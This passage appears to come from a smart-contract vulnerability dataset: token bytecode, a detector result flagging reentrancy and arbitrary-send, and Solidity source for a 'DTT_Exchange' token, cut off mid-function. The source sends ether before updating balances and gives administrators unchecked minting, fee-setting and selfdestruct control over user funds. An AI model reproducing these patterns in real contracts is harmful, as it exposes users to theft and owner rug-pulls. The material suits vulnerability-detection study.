379a000000000000000000000000000000000000000000000000000000000815260040161118490612f65565b60405180910390fd5b6111bd6127106111af83683635c9adc5dea000006120df90919063ffffffff16565b61215a90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111f49190613065565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f590613025565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136590612f25565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144c9190613065565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c090612fe5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611539576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153090612ee5565b60405180910390fd5b6000811161157c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157390612fc5565b60405180910390fd5b61158461090a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115f257506115c261090a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b5557600f60179054906101000a900460ff1615611825573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561167457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116ce5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117285750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561182457600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176e611286565b73ffffffffffffffffffffffffffffffffffffffff1614806117e45750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117cc611286565b73ffffffffffffffffffffffffffffffffffffffff16145b611823576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181a90613045565b60405180910390fd5b5b5b60105481111561183457600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118d85750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118e157600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561198c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119e25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119fa5750600f60179054906101000a900460ff165b15611a9b5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a4a57600080fd5b607842611a57919061319b565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611aa630610766565b9050600f60159054906101000a900460ff16158015611b135750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b2b5750600f60169054906101000a900460ff165b15611b5357611b3981611de5565b60004790506000811115611b5157611b5047611c7c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bfc5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c0657600090505b611c12848484846121a4565b50505050565b6000838311158290611c60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c579190612ec3565b60405180910390fd5b5060008385611c6f919061327c565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ccc60028461215a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cf7573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d4860028461215a90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d73573d6000803e3d6000fd5b5050565b6000600654821115611dbe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db590612f05565b60405180910390fd5b6000611dc86121d1565b9050611ddd818461215a90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e43577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e715781602001602082028036833780820191505090505b5090503081600081518110611eaf577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f5157600080fd5b505afa158015611f65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f899190612932565b81600181518110611fc3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202a30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128e565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161208e959493929190613080565b600060405180830381600087803b1580156120a857600080fd5b505af11580156120bc573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156120f25760009050612154565b600082846121009190613222565b905082848261210f91906131f1565b1461214f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214690612f85565b60405180910390fd5b809150505b92915050565b600061219c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121fc565b905092915050565b806121b2576121b161225f565b5b6121bd848484612290565b806121cb576121ca61245b565b5b50505050565b60008060006121de61246d565b915091506121f5818361215a90919063ffffffff16565b9250505090565b60008083118290612243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223a9190612ec3565b60405180910390fd5b506000838561225291906131f1565b9050809150509392505050565b600060085414801561227357506000600954145b1561227d5761228e565b600060088190555060006009819055505b565b6000806000806000806122a2876124cf565b95509550955095509550955061230086600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253790919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061239585600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258190919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123e1816125df565b6123eb848361269c565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124489190613065565b60405180910390a3505050505050505050565b60026008819055506008600981905550565b600080600060065490506000683635c9adc5dea0000090506124a3683635c9adc5dea0000060065461215a90919063ffffffff16565b8210156124c257600654683635c9adc5dea000009350935050506124cb565b81819350935050505b9091565b60008060008060008060008060006124ec8a6008546009546126d6565b92509250925060006124fc6121d1565b9050600080600061250f8e87878761276c565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061257983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c18565b905092915050565b6000808284612590919061319b565b9050838110156125d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125cc90612f45565b60405180910390fd5b8091505092915050565b60006125e96121d1565b9050600061260082846120df90919063ffffffff16565b905061265481600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461258190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126b18260065461253790919063ffffffff16565b6006819055506126cc8160075461258190919063ffffffff16565b6007819055505050565b60008060008061270260646126f4888a6120df90919063ffffffff16565b61215a90919063ffffffff16565b9050600061272c606461271e888b6120df90919063ffffffff16565b61215a90919063ffffffff16565b9050600061275582612747858c61253790919063ffffffff16565b61253790919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061278585896120df90919063ffffffff16565b9050600061279c86896120df90919063ffffffff16565b905060006127b387896120df90919063ffffffff16565b905060006127dc826127ce858761253790919063ffffffff16565b61253790919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006128086128038461311a565b6130f5565b9050808382526020820190508285602086028201111561282757600080fd5b60005b85811015612857578161283d8882612861565b84526020840193506020830192505060018101905061282a565b5050509392505050565b60008135905061287081613758565b92915050565b60008151905061288581613758565b92915050565b600082601f83011261289c57600080fd5b81356128ac8482602086016127f5565b91505092915050565b6000813590506128c48161376f565b92915050565b6000815190506128d98161376f565b92915050565b6000813590506128ee81613786565b92915050565b60008151905061290381613786565b92915050565b60006020828403121561291b57600080fd5b600061292984828501612861565b91505092915050565b60006020828403121561294457600080fd5b600061295284828501612876565b91505092915050565b6000806040838503121561296e57600080fd5b600061297c85828601612861565b925050602061298d85828601612861565b9150509250929050565b6000806000606084860312156129ac57600080fd5b60006129ba86828701612861565b93505060206129cb86828701612861565b92505060406129dc868287016128df565b9150509250925092565b600080604083850312156129f957600080fd5b6000612a0785828601612861565b9250506020612a18858286016128df565b9150509250929050565b600060208284031215612a3457600080fd5b600082013567ffffffffffffffff811115612a4e57600080fd5b612a5a8482850161288b565b91505092915050565b600060208284031215612a7557600080fd5b6000612a83848285016128b5565b91505092915050565b600060208284031215612a9e57600080fd5b6000612aac848285016128ca565b91505092915050565b600060208284031215612ac757600080fd5b6000612ad5848285016128df565b91505092915050565b600080600060608486031215612af357600080fd5b6000612b01868287016128f4565b9350506020612b12868287016128f4565b9250506040612b23868287016128f4565b9150509250925092565b6000612b398383612b45565b60208301905092915050565b612b4e816132b0565b82525050565b612b5d816132b0565b82525050565b6000612b6e82613156565b612b788185613179565b9350612b8383613146565b8060005b83811015612bb4578151612b9b8882612b2d565b9750612ba68361316c565b925050600181019050612b87565b5085935050505092915050565b612bca816132c2565b82525050565b612bd981613305565b82525050565b6000612bea82613161565b612bf4818561318a565b9350612c04818560208601613317565b612c0d81613451565b840191505092915050565b6000612c2560238361318a565b9150612c3082613462565b604082019050919050565b6000612c48602a8361318a565b9150612c53826134b1565b604082019050919050565b6000612c6b60228361318a565b9150612c7682613500565b604082019050919050565b6000612c8e601b8361318a565b9150612c998261354f565b602082019050919050565b6000612cb1601d8361318a565b9150612cbc82613578565b602082019050919050565b6000612cd460218361318a565b9150612cdf826135a1565b604082019050919050565b6000612cf760208361318a565b9150612d02826135f0565b602082019050919050565b6000612d1a60298361318a565b9150612d2582613619565b604082019050919050565b6000612d3d60258361318a565b9150612d4882613668565b604082019050919050565b6000612d6060018361318a565b9150612d6b826136b7565b602082019050919050565b6000612d8360248361318a565b9150612d8e826136e0565b604082019050919050565b6000612da660118361318a565b9150612db18261372f565b602082019050919050565b612dc5816132ee565b82525050565b612dd4816132f8565b82525050565b6000602082019050612def6000830184612b54565b92915050565b6000604082019050612e0a6000830185612b54565b612e176020830184612b54565b9392505050565b6000604082019050612e336000830185612b54565b612e406020830184612dbc565b9392505050565b600060c082019050612e5c6000830189612b54565b612e696020830188612dbc565b612e766040830187612bd0565b612e836060830186612bd0565b612e906080830185612b54565b612e9d60a0830184612dbc565b979650505050505050565b6000602082019050612ebd6000830184612bc1565b92915050565b60006020820190508181036000830152612edd8184612bdf565b905092915050565b60006020820190508181036000830152612efe81612c18565b9050919050565b60006020820190508181036000830152612f1e81612c3b565b9050919050565b60006020820190508181036000830152612f3e81612c5e565b9050919050565b60006020820190508181036000830152612f5e81612c81565b9050919050565b60006020820190508181036000830152612f7e81612ca4565b9050919050565b60006020820190508181036000830152612f9e81612cc7565b9050919050565b60006020820190508181036000830152612fbe81612cea565b9050919050565b60006020820190508181036000830152612fde81612d0d565b9050919050565b60006020820190508181036000830152612ffe81612d30565b9050919050565b6000602082019050818103600083015261301e81612d53565b9050919050565b6000602082019050818103600083015261303e81612d76565b9050919050565b6000602082019050818103600083015261305e81612d99565b9050919050565b600060208201905061307a6000830184612dbc565b92915050565b600060a0820190506130956000830188612dbc565b6130a26020830187612bd0565b81810360408301526130b48186612b63565b90506130c36060830185612b54565b6130d06080830184612dbc565b9695505050505050565b60006020820190506130ef6000830184612dcb565b92915050565b60006130ff613110565b905061310b828261334a565b919050565b6000604051905090565b600067ffffffffffffffff82111561313557613134613422565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131a6826132ee565b91506131b1836132ee565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131e6576131e56133c4565b5b828201905092915050565b60006131fc826132ee565b9150613207836132ee565b925082613217576132166133f3565b5b828204905092915050565b600061322d826132ee565b9150613238836132ee565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613271576132706133c4565b5b828202905092915050565b6000613287826132ee565b9150613292836132ee565b9250828210156132a5576132a46133c4565b5b828203905092915050565b60006132bb826132ce565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613310826132ee565b9050919050565b60005b8381101561333557808201518184015260208101905061331a565b83811115613344576000848401525b50505050565b61335382613451565b810181811067ffffffffffffffff8211171561337257613371613422565b5b80604052505050565b6000613386826132ee565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133b9576133b86133c4565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f3100000000000000000000000000000000000000000000000000000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613761816132b0565b811461376c57600080fd5b50565b613778816132c2565b811461378357600080fd5b50565b61378f816132ee565b811461379a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542616279204162726168616d204c696e636f6c6e207c20742e6d652f42616279414c696e636f6c6ea264697066735822122018a7f8ea97fea7442b569584f18ded74b1c4723dd7d42751e7d080fbdcd5264364736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 6,575 |
0x7abe2a84368af480ffd4beb7676133c30f37dc05
|
pragma solidity ^0.4.26;
contract DTT_Exchange {
// only people with tokens
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[_customerAddress]);
_;
}
/*==============================
= EVENTS =
==============================*/
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
// ERC20
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
/*=====================================
= CONFIGURABLES =
=====================================*/
string public name = "DTT Exchange";
string public symbol = "DTT";
uint8 constant public decimals = 0;
uint256 public totalSupply_ = 900000;
uint256 constant internal tokenPriceInitial_ = 270000000000000;
uint256 constant internal tokenPriceIncremental_ = 270000000;
uint256 public percent = 75;
uint256 public currentPrice_ = tokenPriceInitial_ + tokenPriceIncremental_;
uint256 public grv = 1;
uint256 public rewardSupply_ = 200000; // for reward and stake distribution
// Please verify the website https://dttexchange.com before purchasing tokens
address commissionHolder; // holds commissions fees
address stakeHolder; // holds stake
address dev2; // Growth funds
address dev3; // Compliance funds
address dev4; // Marketing Funds
address dev5; // Development funds
address dev6; // Research Funds
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal etherBalanceLedger_;
address sonk;
uint256 internal tokenSupply_ = 0;
// uint256 internal profitPerShare_;
mapping(address => bool) internal administrators;
uint256 commFunds=0;
constructor() public
{
sonk = msg.sender;
administrators[sonk] = true;
commissionHolder = sonk;
stakeHolder = sonk;
commFunds = 10409139737057695735;
tokenSupply_ = 318926; //Upgradation from V2
tokenBalanceLedger_[commissionHolder] = 61548; //Upgrade from V2
currentPrice_ = 936648648648648; //Upgrade from V2
grv = 6; //Upgrade from V2
}
function redeemTokens() public returns(uint256)
{
address _customerAddress = msg.sender;
uint256 _balance = tokenBalanceLedger_[_customerAddress];
tokenBalanceLedger_[_customerAddress] = 0;
emit Transfer(_customerAddress, address(this),_balance);
tokenSupply_ -= _balance;
commFunds += redeemTokens_(_balance, true);
return _balance;
}
function redeemTokens_(uint256 _tokens, bool sell)
internal
view
returns(uint256)
{
uint256 _tokenSupply = tokenSupply_;
uint256 _etherReceived = 0;
uint256 _grv = grv;
uint256 tempbase = upperBound_(_grv-1);
uint256 _currentPrice = currentPrice_;
uint256 _tokenPriceIncremental = (tokenPriceIncremental_*((2)**(_grv-1)));
if((_tokenSupply - _tokens) < tempbase)
{
uint256 tokensToSell = _tokenSupply - tempbase;
uint256 a = _currentPrice - ((tokensToSell-1)*_tokenPriceIncremental);
_tokens = _tokens - tokensToSell;
_etherReceived = _etherReceived + ((tokensToSell/2)*((2*a)+((tokensToSell-1)*_tokenPriceIncremental)));
_currentPrice = _currentPrice-((tokensToSell-1)*_tokenPriceIncremental);
_tokenSupply = _tokenSupply - tokensToSell;
_grv = _grv-1 ;
_tokenPriceIncremental = (tokenPriceIncremental_*((2)**(_grv-1)));
tempbase = upperBound_(_grv-1);
}
if((_tokenSupply - _tokens) < tempbase)
{
tokensToSell = _tokenSupply - tempbase;
_tokens = _tokens - tokensToSell;
a = _currentPrice - ((tokensToSell-1)*_tokenPriceIncremental);
_etherReceived = _etherReceived + ((tokensToSell/2)*((2*a)+((tokensToSell-1)*_tokenPriceIncremental)));
_currentPrice = a;
_tokenSupply = _tokenSupply - tokensToSell;
_grv = _grv-1 ;
_tokenPriceIncremental = (tokenPriceIncremental_*((2)**(_grv-1)));
tempbase = upperBound_(_grv);
}
if(_tokens > 0)
{
a = _currentPrice - ((_tokens-1)*_tokenPriceIncremental);
_etherReceived = _etherReceived + ((_tokens/2)*((2*a)+((_tokens-1)*_tokenPriceIncremental)));
_tokenSupply = _tokenSupply - _tokens;
_currentPrice = a;
}
if(sell == true)
{
grv = _grv;
currentPrice_ = _currentPrice;
}
return _etherReceived;
}
function upgradeContract(address[] _users, uint256[] _balances, uint modeType)
onlyAdministrator()
public
{
if(modeType == 1)
{
for(uint i = 0; i<_users.length;i++)
{
tokenBalanceLedger_[_users[i]] += _balances[i];
emit Transfer(address(this),_users[i],_balances[i]);
}
}
if(modeType == 2)
{
for(i = 0; i<_users.length;i++)
{
etherBalanceLedger_[_users[i]] += _balances[i];
commFunds += _balances[i];
}
}
}
function fundsInjection() public payable returns(bool)
{
return true;
}
function upgradeDetails(uint256 _currentPrice, uint256 _grv, uint256 _commFunds)
onlyAdministrator()
public
{
currentPrice_ = _currentPrice;
grv = _grv;
commFunds = _commFunds;
}
function buy(address _referredBy)
public
payable
returns(uint256)
{
purchaseTokens(msg.value, _referredBy);
}
function()
payable
public
{
purchaseTokens(msg.value, 0x0);
}
function holdStake(uint256 _amount)
onlyBagholders()
public
{
tokenBalanceLedger_[msg.sender] = SafeMath.sub(tokenBalanceLedger_[msg.sender], _amount);
tokenBalanceLedger_[stakeHolder] = SafeMath.add(tokenBalanceLedger_[stakeHolder], _amount);
}
function unstake(uint256 _amount, address _customerAddress)
onlyAdministrator()
public
{
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress],_amount);
tokenBalanceLedger_[stakeHolder] = SafeMath.sub(tokenBalanceLedger_[stakeHolder], _amount);
}
function withdrawRewards(uint256 _amount, address _customerAddress)
onlyAdministrator()
public
{
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress],_amount);
tokenSupply_ = SafeMath.add (tokenSupply_,_amount);
}
function withdrawComm(uint256[] _amount, address[] _customerAddress)
onlyAdministrator()
public
{
for(uint i = 0; i<_customerAddress.length; i++)
{
uint256 _toAdd = _amount[i];
tokenBalanceLedger_[_customerAddress[i]] = SafeMath.add(tokenBalanceLedger_[_customerAddress[i]],_toAdd);
tokenBalanceLedger_[commissionHolder] = SafeMath.sub(tokenBalanceLedger_[commissionHolder], _toAdd);
emit Transfer(address(this),_customerAddress[i],_toAdd);
}
}
function withdrawEthers(uint256 _amount)
public
{
require(etherBalanceLedger_[msg.sender] >= _amount);
msg.sender.transfer(_amount);
etherBalanceLedger_[msg.sender] -= _amount;
emit Transfer(msg.sender, address(this),calculateTokensReceived(_amount));
}
/**
* Alias of sell() and withdraw().
*/
function exit()
public
{
address _customerAddress = msg.sender;
uint256 _tokens = tokenBalanceLedger_[_customerAddress];
if(_tokens > 0) sell(_tokens);
}
/**
* Liquifies tokens to ethereum.
*/
function sell(uint256 _amountOfTokens)
onlyBagholders()
public
{
// setup data
address _customerAddress = msg.sender;
require(_amountOfTokens <= tokenBalanceLedger_[_customerAddress]);
uint256 _tokens = _amountOfTokens;
uint256 _ethereum = tokensToEthereum_(_tokens,true);
uint256 _dividends = _ethereum * percent/10000;//SafeMath.div(_ethereum, dividendFee_); // 7.5% sell fees
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
commFunds += _dividends;
// burn the sold tokens
tokenSupply_ = SafeMath.sub(tokenSupply_, _tokens);
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _tokens);
_customerAddress.transfer(_taxedEthereum);
emit Transfer(_customerAddress, address(this), _tokens);
}
function registerDev234(address _devAddress2, address _devAddress3, address _devAddress4,address _devAddress5, address _devAddress6,address _commHolder)
onlyAdministrator()
public
{
dev2 = _devAddress2;
dev3 = _devAddress3;
dev4 = _devAddress4;
dev5 = _devAddress5;
dev6 = _devAddress6;
administrators[_commHolder] = true;
}
function totalCommFunds()
onlyAdministrator()
public view
returns(uint256)
{
return commFunds;
}
function myEthers()
public view
returns(uint256)
{
return etherBalanceLedger_[msg.sender];
}
function getCommFunds(uint256 _amount)
onlyAdministrator()
public
{
if(_amount <= commFunds)
{
etherBalanceLedger_[dev2]+=(_amount*20/100);
etherBalanceLedger_[dev3]+=(_amount*20/100);
etherBalanceLedger_[dev4]+=(_amount*25/100);
etherBalanceLedger_[dev5]+=(_amount*10/100);
etherBalanceLedger_[dev6]+=(_amount*25/100);
commFunds = SafeMath.sub(commFunds,_amount);
}
}
function transfer(address _toAddress, uint256 _amountOfTokens)
onlyAdministrator()
public
returns(bool)
{
// setup
address _customerAddress = msg.sender;
// exchange tokens
tokenBalanceLedger_[_customerAddress] = SafeMath.sub(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
tokenBalanceLedger_[_toAddress] = SafeMath.add(tokenBalanceLedger_[_toAddress], _amountOfTokens);
emit Transfer(_customerAddress, _toAddress, _amountOfTokens);
// ERC20
return true;
}
function destruct() onlyAdministrator() public{
selfdestruct(sonk);
}
function setPercent(uint256 newPercent) onlyAdministrator() public {
percent = newPercent * 100;
}
function setName(string _name)
onlyAdministrator()
public
{
name = _name;
}
function setSymbol(string _symbol)
onlyAdministrator()
public
{
symbol = _symbol;
}
function setupCommissionHolder(address _commissionHolder)
onlyAdministrator()
public
{
commissionHolder = _commissionHolder;
}
function totalEthereumBalance()
public
view
returns(uint)
{
return address(this).balance;
}
function totalSupply()
public
view
returns(uint256)
{
return totalSupply_;
}
function tokenSupply()
public
view
returns(uint256)
{
return tokenSupply_;
}
/**
* Retrieve the tokens owned by the caller.
*/
function myTokens()
public
view
returns(uint256)
{
address _customerAddress = msg.sender;
return balanceOf(_customerAddress);
}
/**
* Retrieve the token balance of any single address.
*/
function balanceOf(address _customerAddress)
view
public
returns(uint256)
{
return tokenBalanceLedger_[_customerAddress];
}
function sellPrice()
public
view
returns(uint256)
{
// our calculation relies on the token supply, so we need supply. Doh.
if(tokenSupply_ == 0){
return tokenPriceInitial_ - tokenPriceIncremental_;
} else {
uint256 _ethereum = tokensToEthereum_(2,false);
uint256 _dividends = _ethereum * percent/10000;
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
}
/**
* Return the sell price of 1 individual token.
*/
function buyPrice()
public
view
returns(uint256)
{
return currentPrice_;
}
function calculateEthereumReceived(uint256 _tokensToSell)
public
view
returns(uint256)
{
require(_tokensToSell <= tokenSupply_);
uint256 _ethereum = tokensToEthereum_(_tokensToSell,false);
uint256 _dividends = _ethereum * percent/10000;//SafeMath.div(_ethereum, dividendFee_);
uint256 _taxedEthereum = SafeMath.sub(_ethereum, _dividends);
return _taxedEthereum;
}
/*==========================================
= INTERNAL FUNCTIONS =
==========================================*/
event testLog(
uint256 currBal
);
function calculateTokensReceived(uint256 _ethereumToSpend)
public
view
returns(uint256)
{
uint256 _dividends = _ethereumToSpend * percent/10000;
uint256 _taxedEthereum = SafeMath.sub(_ethereumToSpend, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum, currentPrice_, grv, false);
_amountOfTokens = SafeMath.sub(_amountOfTokens, _amountOfTokens * 20/100);
return _amountOfTokens;
}
function purchaseTokens(uint256 _incomingEthereum, address _referredBy)
internal
returns(uint256)
{
// data setup
address _customerAddress = msg.sender;
uint256 _dividends = _incomingEthereum * percent/10000;
commFunds += _dividends;
uint256 _taxedEthereum = SafeMath.sub(_incomingEthereum, _dividends);
uint256 _amountOfTokens = ethereumToTokens_(_taxedEthereum , currentPrice_, grv, true);
tokenBalanceLedger_[commissionHolder] += _amountOfTokens * 20/100;
require(_amountOfTokens > 0 && (SafeMath.add(_amountOfTokens,tokenSupply_) > tokenSupply_));
tokenSupply_ = SafeMath.add(tokenSupply_, _amountOfTokens);
require(SafeMath.add(_amountOfTokens,tokenSupply_) < (totalSupply_+rewardSupply_));
//deduct commissions for referrals
_amountOfTokens = SafeMath.sub(_amountOfTokens, _amountOfTokens * 20/100);
tokenBalanceLedger_[_customerAddress] = SafeMath.add(tokenBalanceLedger_[_customerAddress], _amountOfTokens);
// fire event
emit Transfer(address(this), _customerAddress, _amountOfTokens);
return _amountOfTokens;
}
function ethereumToTokens_(uint256 _ethereum, uint256 _currentPrice, uint256 _grv, bool buy)
internal
view
returns(uint256)
{
uint256 _tokenPriceIncremental = (tokenPriceIncremental_*(2**(_grv-1)));
uint256 _tempad = SafeMath.sub((2*_currentPrice), _tokenPriceIncremental);
